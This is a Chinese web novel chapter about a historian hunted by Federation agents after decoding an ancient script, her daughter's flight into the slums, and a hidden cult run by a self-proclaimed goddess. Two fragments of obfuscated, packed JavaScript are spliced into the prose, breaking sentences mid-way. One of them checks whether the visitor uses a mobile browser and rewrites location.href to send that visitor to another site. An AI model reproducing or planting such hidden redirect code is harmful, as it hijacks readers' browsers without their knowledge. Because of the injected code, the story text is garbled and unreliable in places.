《承受》 1. 序幕:笔尖历史 奇迹年代·窃乱时期,距今约两千五百年,卜域东山。 大卜者抬着头,念念有词地掐着手,铺开了师父留给自己的十六枚玉竹片。 卜域最擅推演预言。“月出东山,命星频隐”,这是千年难见的占卜之机。 赐福已起,大卜者抬手起舞。玉竹片在她的双臂外侧无规律地起伏,泛起紫色的微光。 沟通神明的舞蹈一向美丽诡异。 大卜者顺着命星的指引踏出。踩在沙池上的脚规矩挪步,便在空旷的山顶发出沙沙的声音。玉竹片仍轻灵地随卜舞跃动,渐渐从微光中生出一抹既金又绿的光点。 然后该…… 转身……? 定住、沉寂,接着是什么东西碎裂坠地的声音。 火,漫天的大火、焚毁了整个卜域的大火! 赤橙色的火光沿着视线和时间追着她的双目,似有火舌勾住眼球,灼烧感顺着神经一路烧至体内每一寸。 向上、向下、向内、向外,向着四面八方。 顷刻焚出一具空无一物的躯壳。 玉竹碎片默然化作齑粉融入沙中。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449302|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 如天高的东山被无声的漆黑包裹,没有月光,也没有占卜时紫或绿或金的颜色。 只有一位卜者失去观览星盘的眼,失去告诫人们驱邪避祸的舌,失去替人逆天改命的心。 她的身躯如一团灰烬堆在东山,任凭风吹雨打一动不动,而泪水恒常地从空无的眼眶中流出,直至时光跨越那以“七”为“十一”掩饰的时间—— 年有七月;月有七十七天,共七星期—— 引渡来一千三百年后的骤劫: 她是罪人,她为卜域招致毁灭的灾祸。 2. 幕间剧 命运此消彼长 联邦历290年3月37日沉金区金街东 “一团肉、一个称呼……一种星球?” 高维生物。 庄蔚趴在工作台上,眼神狂热而癫狂。 未知材质的黄灰色拓片被铁钳夹在摄像头下,在工作间的空中投射出详细的电子图像。拓片上的每个符号都被各种颜色的标记圈出,并批注大量信息。 这种文字既不是联邦的通用语,也不是底利马文字。 而是一种全新的,蕴含着高维审视的记录。 她不断翻阅着三指厚的笔记本,书页在空旷的独栋中发出沙沙声,配合着她莫名的呢喃显得神秘而诡异。 “一枚苹果……” 罪恶的伊甸禁果。 庄蔚停下笔,抬头透过玻璃窗看向屋外花园。 她将目光拉得悠长,令自己的洞悉力足以穿过沉金区冗余的建筑,一路投向虚空。 那双金色义眼自然而然地流露着历史学家面对时间油然而生的空洞。人文情怀自冰冷的科技造物中投射向现世,她叹息着,声音里包含着凝结了直面命运的悲切。 “一座牢笼。” 学者直面的真相。 庄蔚伸了个懒腰起身将拓片取下包在黑绸中,将文件全都聚拢到一处摞齐。 温暖的黄色灯光透过门缝,老仆人塞尔曼推开门:“夫人,您还没有休息吗?” 庄蔚抬起手环看了眼时间,23:45。 已经这个点了。 “塞尔曼,你怎么在这里,小姐还没睡吗?” 塞尔曼无奈地摇头:“小姐还在射击场练枪呢。我劝过小姐,但她说您研究起来也不会注意时间,所以她不应该被要求早睡。” 庄蔚笑了一声,但又像是想起了什么,迅速收回了轻松的笑容。 “我们还有多少弹药?” “小口径还有十二弹匣,大约二百发。” 庄蔚点头:“塞尔曼,你从婆母还在世时就一直跟着我们家,我记得已经二百三十二年了吧?” 夫人今天给人的感觉有些奇怪,一点也不像她平时活力满满的模样。 但塞尔曼还是和蔼地开口:“是的夫人,您的记忆力还是一如既往的令人惊叹。” “将底利马人算在内,联邦人的平均寿命不过256岁,我们有着超越时间的信任——塞尔曼,你是我在这个家中唯一能够托付的人了。” 塞尔曼的表情改变了:“夫人,您这是……?” “明天再替我去购买一些子弹,还有解雇别墅中佣人们的三倍工资,我都会交到你的手环中……”庄蔚逼近了塞尔曼,她的手不断放于胸前又搁下,显得十分不安,“我只能尽量多留给你们一些资金,这些钱就一直放在你的手环里,不要给她,不要以她的名字注册手环,从今天起,她没有名字了。” “夫人……”塞尔曼听得一头雾水。 庄蔚紧紧盯着塞尔曼的眼睛,像是把她完全看穿:“你知道射击场的秘密通道对吧。” 塞尔曼紧张地咽了口水:“是的,夫人,我曾利用它去过底利马。” “你知道,塞尔曼,我研究历史,即便洛克斐家族掌权抹除了很多事情,我仍了解底利马的过去——比如,你的身份。所以我知道你一定能带她在底利马那个充满混乱暴力的地方活下去。如果上联区派人来,你就带着小姐离开,隐姓埋名地活下去。” 塞尔曼听懂了,但她只听懂了未来,没有听懂现在。 “夫人,您要做什么?” 庄蔚拿起自己破译的文档晃了晃:“我要给予人们世界的真相。” “即便……您可能会死?那小姐怎么办,她还那么小!” “身为那个家族后人的你,一定有让她不屈于仇恨就能活下去的办法,对吧?”庄蔚笑着冲她眨了眨眼,“原谅我的卑劣吧,但她也是你看着长大的孩子,她也是你的孩子,你当然愿意为了她回到那里,你愿意为她牺牲一切,对吧?” 塞尔曼后退两步,那张褶皱填满仍亲切和蔼的面孔下,藏着一个并不平和的灵魂。 当那灵魂尚且年幼时,她对变革感到惶恐。 在三百年前的某晚,她从首相宅邸的软床上睡去,再从充满炮火与鲜血的底利马醒来时,她便只剩下迷茫与恐惧。 她只知道底利马不再是政治中心,它的荣耀已经被四大家族夺取。 他们在上联区建立了新的联邦,在上联与底利马之间划出一片新的城区,作为人肉横墙。 从此,底利马人失去了为人的一切权利。 但是,她爱着夫人,她总像个没长大的孩子一样理想主义;她也爱着小姐,就像爱着自己亲生的孩子一样。 “当然,夫人,我会照顾好小姐。” “也许四大家族会公开这份真相呢,这都只是我最坏的推演不是吗?”庄蔚笑着说,“无论如何,从明天开始,你和小姐就住在地下射击场,记得提前准备好逃跑的物资。” 年幼的孩子躲在门后,她听到了两人所有的对话。 稚嫩的大脑没办法处理太多信息,但她总结出了本质: 她被母亲抛弃了。 第二天,庄蔚将整理好所有的资料打包,发给了联邦。 “您将研究发给联邦了吗?” 女孩鬼魂般地出现在她身后,吓了庄蔚一跳。 “啊……是啊,怎么了?” 她金色的眸子冰冷而淡漠,面无表情地看着庄蔚时,就像是一位世界的旁观者。 简直和她那冰块脸的爹一模一样。 听到母亲的回答,女孩抿住嘴唇,还带着婴儿肥的脸上露出了一种名为恨铁不成钢的情绪。 “很危险。” “哎呀没事啦,只是一点小小的研究,我只是一个研究历史的小学者,不会有事的嘛。再说了,我发都发了。”庄蔚突然一拍手,“宝贝,和妈妈玩个游戏吧,我们玩角色扮演的游戏。现在我是你组织的老大,你是我的得力打手,为了保密,你需要用代号取代自己的名字——面具怎么样,一听就很帅欸!” “好的。” 庄蔚扯了扯她的脸,整个人都染上了一层明媚的笑容:“你看,面具的挂在脸上是一成不变的,和你总是板着的脸没什么区别呢。哎呀,笑一笑,看我,别老和伊乌劳戈学。真是的,除了聪明你一点我的良好基因都没遗传到呀!” “底利马被四大家族以残忍的手段限制发展,他们不是善类,眼中不会有人的区别。” 面具皱着眉头撤了两步,逃离了母亲的魔爪。 联邦人的大脑发育曲线成对数增长,四五岁以前发育极快,基本在八九岁定型,达到和成年人无异的水平。 庄蔚笑着看向她堪称天才的女儿:“小面具,你才多大呀,还不到八岁就已经这么聪明了,以后会不会变成多智的妖精啊!妈妈还要看你将来能干出什么惊天动地的大事呢!嘶,你觉得推翻四大家族怎么样,我觉得这事很靠谱欸。” 面具无话可说,转身下到了射击场。 她还是收拾枪弹随时准备保护这人比较好。 庄蔚笑着摇了摇手中的红茶。 她可是破译出高维神界文字的天才,怎么可能没想过小丫头想的问题嘛。 两种情况:联邦公开秘密,万事大吉;如果联邦避而不谈,她会自己在网上公开。 但在自己私自公开以前,她们都是安全的。 她本是这样想的…… 3月38日1:32 射击场内,女孩一手插兜一手举枪,心不在焉地对着靶子打空了弹匣。长久的训练让后坐力变得几乎不存在,等她回过身,子弹已经全都被她打在红心上。 每一枪都是10环。 父亲说这是她的天赋,唯一的遗言就是让她永远不要放弃射击。 自觉放风的塞尔曼突然跑下楼梯:“小姐!快走!有人来了!” 面具闻言端起枪和弹匣就往楼上跑,被塞尔曼眼疾手快地薅住领子。 “放开我。” 固执的小孩才一挣扎就被塞尔曼一拳头砸晕夹在腋下。 昏迷前的一秒,面具冷笑着对伊乌劳戈死前的教导投以孩童的鄙弃。 呵呵……骗人……小孩怎么训练也打不过成年人…… 塞尔曼夹着面具把床头的黑色布袋揣在怀里,一路小跑到靶子边,用力按下打开机关。 射击场的隔音效果极好,她不知道夫人那里什么情况,她唯一能做的就是按着夫人的嘱托将小姐带走。 一道密门从墙面打开,塞尔曼想都没想就夹着公文包一样的小姐顺着密道逃了出去。 入侵者的脚步极轻,但落在庄蔚耳中却响若炸雷,手环内的家庭安全应用正在提醒她有人进入。 庄蔚匆匆扫了一眼监控,那些人衣上的暗扣挂着大量金属物品,借由月光在漆黑的客厅内反泛着银色冷光,看起来在尽可能规避被发现的样子。 她屏息下床,赤着脚挪向窗户,手里提着枪和鞋。 “铛!” 小置物架被撞翻在地上发出巨大响声的第一秒。 庄蔚果断推窗翻出,她的心跳加速,几乎窜到了嗓子眼。 第二秒。 枪械上膛,一人冷声:“蠢货!还不开灯!” 第三秒。 别墅内大灯亮起的瞬间,庄蔚套上鞋俯身借着花园里的灌木悄无声息地奔向前院方向。 “人呢!她跑到哪里去了!” 庄蔚绕过松木,借着树影转移到偏向前门的位置规避特工的搜查。 太快了……四大家族的人来得太快了…… 背后的别墅是搜查的特工群体,面前的大门也许还有驻守成员。到了眼下这种危险地步,庄蔚反而冷静了下来。 她必须要吸引对方的注意力,拖延足够的时间,绝不能被他们发现塞尔曼和小面具。 她贴着墙面小步挪到正门一侧,紧靠在屋内人的视觉死角中。 透过栅栏,她看到门外停着一辆七座。 她不敢使用义眼扫描,怕被对方的反侦察仪器发现,只能尽量透过打开的侧门看向车内。 “所有人分散至外围,别让她跑了!”队长打开耳麦向着车里待命的队员道,“下来,盯着正门方向。” 车上的特工立刻下车,他背靠车门警惕地向着四周巡视,丝毫没有因为对方只是一个手无缚鸡之力的历史学家而怠慢任务。 庄蔚看到他解开了身上的几个暗扣,取下上面的金属拼在一起,变成了一只造型奇怪枪械。 她扶上手臂。 【哔哔——亚富科技股份有限公司智能家具……】 隐藏车位上升的瞬间,特工如惊弓之鸟对着亚富机器的播报声方向一阵猛扫。 “砰砰砰砰砰!” 正门的特工同样被突如其来的声响吸引了注意力。 机会! 庄蔚毫不犹豫拔枪冲出大门,枪口瞄准胸口,像瞄准靶子上的红心一样,指尖扣动扳机—— “砰!” 特工还未反应过来就已倒下,他的眸子僵硬地转动着看向奔向车头的女人。她已经拉开驾驶座的车门,启动汽车按动自动关门按钮。 房间内的特工们都听到了这一声枪响,队长从别墅大门冲出,只看到了队员倒在血泊中。 他们的车子飞一样窜出。 特工们连忙开枪,密集的枪声响起,子弹追着车尾扫去,却全被防弹改装挡住。 “追不上的,队长!” 急速向前的车辆忽然倒车,车窗在高速退后的期间降下,庄蔚踩着油门,扭过头对着别墅外的特工又是一枪,而后猛打方向盘。 回马枪令人措手不及,其他特工反应过来立刻对着她开到一半的窗户射击。 可怜的七座再次承担了所有冲击,庄蔚再次换挡,一路直冲。 她开始感谢死去的丈夫以往像脑残似的让她和女儿进行素质练习和打靶训练。 特工们从别墅中追出试图趁机抓住后备箱上的拉环。 “呜呼!”特工们的举动让庄蔚惊喜地猛踩油门提速,她挑衅似的伸手挥动,“拜拜啦——” 子弹从她指尖飞过,她被烫到般收起手。 “哎呀,幸好收的快!真是的,四大家族的人果然小气。” 任务用车的性能极好,轻易就窜离了金街,只留给特工们一车尾气。 相对安全的环境让庄蔚平复下来,庄蔚这时才发现自己拿枪的手在发抖。 不是因为害怕,只是肾上腺素褪去后的正常生理反应。 开枪击杀一个人的行为让她缺少实感,在她平静下来后,她的情绪稳定得和平常没有什么区别,大脑依旧活跃,思维没有受到任何不必要情绪的阻断。 “打开地图。” 【已为您打开联邦地图。】 联邦的地图俯瞰是一双天使的翅膀。 沉金区北端位于中间凹陷部位,上窄下宽,占据整个天使翅膀腹地位置,交通极其便利,是有名的居民区。 底利马位于东边翅尖,海弄区则在联邦最西侧。 她不能直接开着车去底利马,鬼知道这车上有没有定位,还是往海弄多跑一会,待会把车速降下来直接跳车。 庄蔚随手设置在海弄区设置了一个目的地。 【自动驾驶模式已启动,目的地,海弄北区8号。】 她检查着车上的装置,发现了人工智能的形象角标上画着一只圆形的饼干图像。 这是下联区78号的车,是西奥·洛克斐派人来杀她的。 真的是联邦的人! 庄蔚自嘲地笑着:“庄蔚啊庄蔚,你真是的,活这么大了还不如一个孩子看得通透。” 在等级制度严密的联邦,居住区也按着贫富分成了沉地和金街。 四大家族的贵人住在政治中心上联区,其余富贵自东向西按地位在金街。窝在沉地的普通人还算好的,再剩下的就只能去底利马加入帮派势力给人卖命,或者……直接等死。 她是金街东住人,她本以为自己对于联邦而言是不一样的。 但事实狠狠甩了她一巴掌。 “不过嘛,还是我闺女厉害。” 汽车一路穿过沉金区的腹地,金街在后视镜中越来越小,最后变成了一个小小的黑点。窗外的景色也逐渐从联排别墅和大平层高楼变成了普通的居民楼。凌晨一点多,街上还有零星几家烧烤店亮着灯牌。 庄蔚花了点时间研究车上的辅助人工智能,准备看看怎么接入自己的手环,等她跳车再把车速拉上去给对手她还在车上的假象。 三十分钟后,她轻而易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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不能等了。 西奥目不转睛盯着屏幕。 “78号所有成员准备——” 庄蔚对着打开的窗户深吸气。 准备跳车…… “3。” 130km/h。 “2。” 90km/h。 “1。” 55km/h。 “起爆。” 一身巨响从车底炸开,火焰瞬间将车辆烧作一座高温的牢笼,气浪将玻璃碎片冲到半空,黑烟与火光弥天,仍在燃烧的残骸停在原地,像一只火球砸落于沉金区与海弄区交界的空旷路段。 “无二次爆炸现象,H1队正在检查车内痕迹。” 说着,特工绕到驾驶位置旁透过窗户。 没有尸体! 庄蔚穿着拖鞋缓缓在园区外围颠着。她把车辆定位和实时速度都改掉了,车子一路开到北区8号她才发现这是个在建园区。 联邦科技已经可以实现无人自动化工程建设。但透明的电子数据、少量的参与方以及短期工期实在不符合项目负责人捞钱的预期,高新技术的巨额前期投入也是大麻烦,聪明的商人会选择有利的方案:比如为社会提供更多就业岗位的伟大举动。 整个工地里除了东边还有高杆灯亮着,大部分都处于黑暗的状态中。各类挖掘机、推土机停息在黑暗中,形成了有效遮挡。 没有什么地方比这里更适合藏身的了。 庄蔚大摇大摆地翻进工地,一边走一边处理脚印,遁着鼾声找工人居住的样板房。 顺手从样板房边拿了件某个工人洗完晾着的工服后,她不免投去羡慕的目光。 她也好困…… 庄蔚有些嫌弃地将又脏又硬的衣服套在身上。 明明可以用自清洁纳米材料给他们提供更好的条件——哎呀,庄蔚你又在想不切实际的事了! 穿上衣服的一刻,庄蔚瞬间清醒了。她一边走一边拍了拍自己:“充满汗味的工服,就叫你汗服吧!” 至少这样我心里会好受点…… 另一边的78号技术人员终于发现后台记录被篡改,紧锣密鼓地修复数据。 “找到了!目标在北区8号停过车!” 西奥面色不虞:“旁系那帮吃空饷的蛆虫们倒是提供了好藏身地。” H5队队长及时在联合通讯中报告:“西奥女士,H5队就在附近,共计4名成员,我们即刻进入。” “别闹太大。” “明白。” H5队打开手环照明功能进入园区,才一进来就看到了地面被处理的痕迹。 “已发现目标行踪。目标具备一定反追踪意识,实战经验不足,危险程度较低。” “三点之前,我要得到结果,你们还有一个小时十四分钟。” “明白。”队长对着成员命令道,“跟着痕迹追,四十分钟内拿下目标!” 四名特工一路跟着庄蔚的痕迹狂奔起来。 2:12 他们来到一架挖掘机下。 队长抬起手,三名特工举枪瞄准驾驶舱,扣动扳机。 “砰砰砰——” 子弹从身下飞速穿过,庄蔚心脏狂跳不停,一动不敢动地趴在驾驶舱顶。 “你上去看看。”队长指使一个队员说。 队员越来越近,庄蔚紧张地拿着枪,目测彼此的距离。 100米、80米。 再近一些! 60米、40米。 别发现我别发现我,伊乌劳戈,保佑我一击毙命,我发誓我以后会带着我们宝贝一起训练射击的。 30米。 庄蔚举枪,一腿悬空调整重心,确认落地点位后立刻扣动扳机。 “砰!” 一枪之后,她立刻跳下车顶,转到挖掘机的配重箱上跳下。 对方不断对着她射击,庄蔚根据子弹打在动臂和驾驶舱发出的哒哒声判断着对方走位,快速移动调整位置,以保证挖掘机可以阻挡。 子弹声位变了,两侧攻击密度不同。 右边。 庄蔚从挖掘机背面闪身出来,根据声音猛按扳机。 开枪嘛,一回生两回熟! 敌人的反应速度比庄蔚更快,对着她的胸口就是一枪。庄蔚爆发出自己都不敢想象的速度,子弹没入的她的右臂,鲜血瞬间染红袖子,她闷哼一声重新回到挖掘机后,思考着接下来的对策。 没关系,她的运气很好,至少有一颗子弹命中了敌人。对面还有两个人,至少再解决一个…… 不能被包抄。 庄蔚重新从右侧突进,迎面与78号的特工撞上。 “砰。” 只一秒惊疑不定,贴在特工身上的枪口便先冒了烟。两人因惯性撞在一起,炸开的血肉组织飞溅到庄蔚的身上脸上,温热的血液浸湿她的上衣。 庄蔚睫毛轻颤。 下一秒,她伸手夺走了对方的枪和腿上的弹匣。 突破惯性思维,她不能再依靠这个掩体预判了。 前面就是工厂,一鼓作气,冲过去! 庄蔚拔腿狂奔。 她会活下来的! 3. 第一场 疑问与日俱增 联邦历290年3月38日底利马 那是一片铅组成的天。 污染汇聚于头顶黄褐色胶状云层,积压在残破老旧的筒子楼,仿佛即刻便会被压垮倒塌。霓虹灯的断线充当着晾衣架,但黏稠的油脂和不知何时溅上的棕褐色斑点仍然顽固地遗留。 在脏污的彩色布匹上。 它是凌乱驳杂的,那样惨绝人寰的搭配足以令视觉陷入疲劳,让人多看一眼的心情都没有。 霓虹灯板下灰头土脸的人们阖眼仰面卧在露天床板上,如果不是呼吸时腹部小幅起伏,也许会让人误以为那是一具具干尸。 “狗爹养的上联四大家族,老子快被饿死了!天天从这帮病鬼手里扣出来的东西还不够塞牙缝,这屌日子什么时候是个头!” 面黄肌瘦的“病鬼”们睁开浑浊的双目,黄浊的污物同眼珠一起在眼眶中咕噜噜转动,瞪着突然从羊肠小道里出现的帮派成员。 “别骂了,可不仅是底利马,联邦越来越变本加厉了,没点关系谁都可能家破人亡,我刚听老大说昨晚金街东有个学者被处理了!” 一个矮子接话:“诶诶我知道这事!就在海弄区,据说尸体还没找到,多半是克家拉去研究了。” “是吗,我听他们说她一个人杀了一队联邦特工呢,后面联邦又来人支援才把她击毙的。” 帮派成员说着向前,一脚踢在病鬼们的床板上:“今天的墨点呢,别废话,赶紧交上来!” 病鬼们颤颤巍巍地抬起手环与对方碰撞。 【墨隧到账20墨点。】 “才二十墨点!一瓶纯净水都换不到!”红发瘦猴恶狠狠地骂道,“糊弄我是吧!” “好了,这里一直就这样,和他们计较什么。走吧,去别的街看看。”矮子阻拦道。 他的目光似是不经意的扫过人群,还带着一丝无能为力的悲怜。 几人恣意妄为地闯入又大摇大摆地离开,全然没有注意到身后的阴影中,从矮房夹层中露出的一双金色眼睛。 麻木,空洞。 那不是孩子该有的目光。 她的手里握着一把小巧的手枪,黑洞洞的枪口缓缓移动到太阳穴的位置。 “小姐!您不要信他们的话!”老仆人焦急地喊道。 面具充耳不闻,打算扣动扳机的瞬间,她被老仆人一把拽进怀里。 “小姐,不要!夫人想您活下去,您还有很长的路要走,不要死,只要人活着,就能看到希望。” “不用和我说这些,????????????,我只能眼睁睁看着他们离开,却什么都做不到。根本没有希望。” 老仆人按住了女孩举枪的手:“小姐,我还在陪着您呢。你看看我,我仍陪伴在您的身边,我仍受夫人嘱托替她爱您。” “爱?” 面具伸出手,她的指尖像冰一样寒冷,寒意一路沿着神经蔓延向心脏。 它轻易地就冻结住了她的情感与时间。 “我已经一无所有,我的世界已经死了。” 老仆人摇着头:“我理解您的感受,小姐。但事实不是那样的。” 面具面无表情地看着老仆人。 “您知道吗,我的家族曾是这个世界上最顶尖的家族。我的姑姑是首相的妻子,父亲是元老会的领导者,母亲是财团的第一顺位继承人……我在那晚莫名的变革中失去了所有,醒来时只发现家族的姓氏变成了叛党的同义词,而我身处陌生混乱的城市,只剩一只装着硬通货的袋子在我身边。 “我不是家族中最有能力的孩子,也不是最聪明的孩子。但是小姐,最后我们的家族中,只有我活下去了。我最聪明的姐姐引走最多的追杀者,下落不明;最执拗果决的大哥为了复仇不惜一死;最博学的二哥为了家族的荣誉在旧宅纵火自我了断……可我什么也没有做,我不执着于仇恨,也没有对于失去的感知。我只知道有人留给我活下去的机会,那么我就要活下去。 “可问题是我该如何活下去?” 老仆人谈论起姊兄时像是变了个人,她不自觉地佝偻起身子,眼神飘忽闪烁。 面具的意识渐渐回笼,她安静地跪坐在老仆人对面,看着她沉浸于复杂的情绪,而后与她们身处的城区融为一体。 她好像一块蔫巴的泥团,连尊严都烂在了淤泥里。 都已经自弃到这种地步了,为什么还要劝阻她的死亡? 像是知道面具心中所想,老仆人忽然对着她的小姐笑了起来。 一瞬间,如有活水从源头落于泥团,言语令其柔软,使其重塑。 “我自知自己没有能力与他们抗衡,可即便有能力又如何呢?解决了那些仇人,也会造就更多像我一样的人吧。那时候,普通人们该怎么办呢? “所以我选择开始新的生活。” 面具想,也许那并不是烂泥,也许它会被捏成一只土偶。 那种永远面带平和的微笑面对世界的空心物。 “小姐,苦难并不可怕,只要您足够坚韧,就没什么能打倒您。只要您活着,就有选择的权利。” 老仆人的话的确能够带来触动,可那效果依旧微乎其微,面具仍不以为然。 人的记忆停留在过去,记忆中的人却在前行。 “选择又有什么意义呢,一切都已经不在了,那些选择不重要了。” “不是的,小姐。选择有意义,您的时间没有被夫人暂停。也许现在是黑暗的,但只要往前走,总会走到尽头的。”老仆人边哭边笑,将她的小姐从怀中托起,让女孩看着自己眼睛,“您看,我不是……就遇见夫人和您了吗?” ——可是你也死了。 面具梦到了一个小女孩。 梦到父亲让女孩永远保持射击的习惯,梦到女孩坐在母亲身边看她破译父亲的遗物。 梦到被联邦清缴的那天,母亲把女孩推到老仆人怀里,自己带着手稿逃向另一个方向。 梦到一座停摆的钟,刻度上的时间她记得清晰,可费尽心思拨动指针的老人却被她遗忘了名字。 面具自认是驻足在梦境边缘的旁观者,不参与、不评论,一切 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“结束了结束了,今天来的都是老信徒,祷告速度特别快!” 面具点头:“你的情绪起伏很大,会增加暴露的风险,我希望这是最后一次。” “啊,我知道错了。”前台顿时耷拉下眉眼,语气央求,“我一定会改的,面具大人,不要赶我走,我等了好久才得到这个侍奉神明大人的机会……” 面具不置可否,直接往楼上杂物间方向走。 前台一点没受到打击,星星眼地目送面具离去的身影,眼里的憧憬几乎凝成实质。 有传闻说面具大人曾是下联区的顶级特工,破环力可以和水龙卷媲美! 由于这种形容过于夸张,那些加入组织的情报员不得不把它翻译成“小范围高杀伤力”。 人话就是:很擅长用枪。 面具转进杂物间,从书架上取下一本名为《沉金亡灵之殇》的模组,整个人贴在书柜上。 “AbidebythesacredteachingsofourGod.”② (谨遵吾神神圣教诲。) 话音刚落,书架下的半圆形地板机关带着面具向内转动,不一会又缓缓转回。 直到墙面再一次严丝合缝,书架依旧覆着尘灰,仿佛从未被人惊动。 墙后是空旷的工作间,灰突突类似未经过装修的毛胚房。左手边的工作台还保持着百年前联邦科技不甚发达的朴实简陋外观,一只方形金属盒子开着盖,里面线路密布,还未完工。再向前,被承重墙阻隔的区域放着一辆通体纯黑的摩托,墙面挂着一排头盔,墙根边挨着摆了一排看不出什么材质的箱子,同样平平无奇。 面具走向右侧空旷的区域,打开墙上灯开关一样的按钮盒子,按下里面的红色按钮。 电梯升上,她走进其中等待两秒,随着电梯缓缓下降。 4. 第二场 无神论者的神明 面具打开房门从侧面进入地下圣堂。 白雕花圆柱连接起彩绘穹顶与大理石地板,与称重功能完全无关,主要起到了烘托氛围的作用。 穹顶的彩绘大抵分为四部分。 第一部分是古海汪洋中经历灾劫动荡,只剩下一位善良的神与丑恶而扭曲的邪祟子嗣们对立的故事。海水滔天,金羽箭矢如雨,白发的少女神明以一敌百,最终身负重伤落入人世,遗失了全部力量。 第二部分则是少女神明与人的故事。邪恶的王国中,有太多困于水火的人们,降临此世的神明聆听他们的苦难、向其展现自己的神力、为他们赐福,拯救了无数凡人。随着信众越来越多,祂身上的伤口渐渐消失,重获了遗失在人间的神力。 第三部分中,邪恶的王国内举办着华丽舞会,华糕与美酒在头顶摇晃,纸醉金迷从裙摆下流淌成糖精般香甜的河流,一路通向城外的高墙。神明带领着信徒们匍匐于黑夜的围墙外,一声令下,硝烟四起,王国付之一炬。邪恶不再,曙光已至。 第四部分,荒原花开,人人自由。神明一步一步退后,重回天上。祂的视线永远注视着这个世界,护佑曾帮助过祂的种族永远享受和平与幸福。 一个隐喻性与指名道姓效果相同,煽动性类似童话故事的预言史诗。 “现在才来?” 空灵的声音带着显而易见的埋怨,从拱形门正对的巨型水族箱中飘落。 面具视线下移,看向水中的半透明的灵魂。 “来的路上遇到了西奥的眼线,花了点时间。您是有事找我?” 灵态神明在水中游荡着,抬手召唤出一堆鱼形的泡泡,而后在面具的视线中一晃,直接穿过防弹玻璃来到她面前,化成一位白发蓝瞳的白裙少女。 抛开所谓的特殊能力,这位少女如果是普通人,也许能凭借自己明媚的样貌,以人畜无害的小太阳人设出道。可惜对于上联区的四大家族而言,祂并不是神圣纯洁的代表。 虽然自称“神明”,但这无法蒙蔽极具洞察力的联邦高层。 不是什么受伤降临这个世界,更不是什么古海遗脉。 祂是用“魔术戏法”蛊惑底利马和沉地的愚蠢贱民作为信众聚众滋事、对联邦各区治安秩序造成严重破坏的—— 伪神。 神明举起手臂,在自己的手环按键上戳戳点点:“当然有事,你自己看。” 化而为人的神明声音一如少女清脆,语气却显得压抑。 手环前置孔亮起,联邦新闻主持人姣好的面容被清晰的投影,开始新一天的新闻播报。 “昨日,联邦国务卿孟弈及法务团以微弱优势表决通过了《仿生人社会化与沉金区域试点协同法案》,标志着人工智能与人类社会的关系已经进入全新的历史阶段。 “自186年前的第一次智械革命起,联邦对人工智能就采取了极端的消极态度,机械智能水平被限制在固定上限,绝对无法产生伪自我意志。至联邦历120年,亚富科技股份有限公司成立,普及辅助型智械概念,进行第二次智械革命,联邦才开始克制地、少量地将人工智能应用到联邦官方事务中……” 神明掐断了新闻,表情凝重地盯着面具。 面具靠在门边,体贴发问:“怎么?” “线人说黎港今天有批无名货,你去看看,我觉得和这件事有关。联邦态度转变得毫无征兆,还把那堆破铜烂铁往沉金区放,也许目标在我。黎港水深,我不放心其他人,你去调查清楚是什么,必要的话直接毁了。” 她陷入了沉默,一时没有给神明答复。 由于联邦狭长的北部海岸线呈现出不符合自然地理应有的光滑特征,必要的运输海港受限于历史因素与地理条件,只能在费可唯一的口袋型区域建落。 即联邦最大港口,黎礁港,是建立在费可区的。 与仿生机器人的产地海弄区之间相隔的区域,正是报道中的试点区域、她们组织的所在地,沉金区。 如果按照神明所说的那样,这是一场四大家族针对祂的布局,那么直接按照惯例在公开信息中将底利马披露为试点掩人耳目会更好。而真正用于对付神明的东西通过公路从海弄向沉金运输,不仅距离更短,运输方式效率本身也更高效。 看面具兴致缺缺,神明清了清嗓子:“线人说,护送那批货的都从数字里出来的人。” 这是78号的黑话,数字里的人代指的是78号特工。 神明挤眉弄眼得忽悠着面具,一副看热闹不嫌事大的模样。 “不去见见你的后辈们给他们点来自神眷打击?” 虽然神明的话槽点很多,但面具不打算反驳。 “时间。” “下午五点。” 面具嗯了一声。 不知道神明的线人和祂说了什么,今天神明比起往常严肃多了。 “您的身体好些了吗?我听说今天的集会很快就结束了,您已经收获足够多的信仰了?” “老样子,天天听你们人类和我倒苦水,我也有些累了。”神明说着重新钻回水族箱,声音再次变得空灵,像是海底的鲸泣,“还是你好,什么感情也没有。” 面具反应平平,神明瞅着没劲,切了一声,在水族箱里自娱自乐起来。祂在水中打了几个圈,又忽然想到什么似的看向面具。 “欸,面具,你说你那比其他联邦人强得不止一星半点的武力值是不是拿感情换的呀。” “这不是我的神眷之力吗?”面具一本正经地反问。 神明:? 这坏家伙是在开玩笑还是阴阳怪气? 眼睛,黑罗挡着看不见;嘴角,无上升迹象。 最终,神明打了个寒战:“好冷……” 她可不想被面具用这种方式讽刺。 毕竟三年前她被面具这个混蛋欺负得可惨了,她才不要和这种变态武力数值怪扯上关系! “听我的,面具,你去参加冷笑话大赛肯定能夺冠回来。” “没事我上楼了。” “哦!!”神明超大声地回了一句,就差把我生气了写在脸上,“你去吧,我睡觉了!” 说着又在水里翻了身,只留给面具一个冷酷的背影。 面具透过水族箱 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“死面具,我都不着急你着什么急!烦死了!”神明拍了拍脸,“不过这也说明她没发现异常,好事!” 神明打了个哈气,不再留心外事,蜷作一团安心地入睡。 面具出了电梯往右边的车间走,顺手掀开摩托的后备箱,而后蹲到墙根打开那一排箱子。 各式高级工具排列整齐,电子屏亮起并显示出工具的名称,甚至有的箱子打开时还会冒出白色的冷气。面具看也不看名称,拿起需要的东西就往后备箱和裤兜里扔。 “定位器、便携激光刀、树脂速凝胶。” 再设想一下可能遇到的多种情景,同时考虑用驱狼吞虎的方式嫁祸给底利马的帮派摘除自己的嫌疑。 “刀、烙环、□□、助燃剂。” 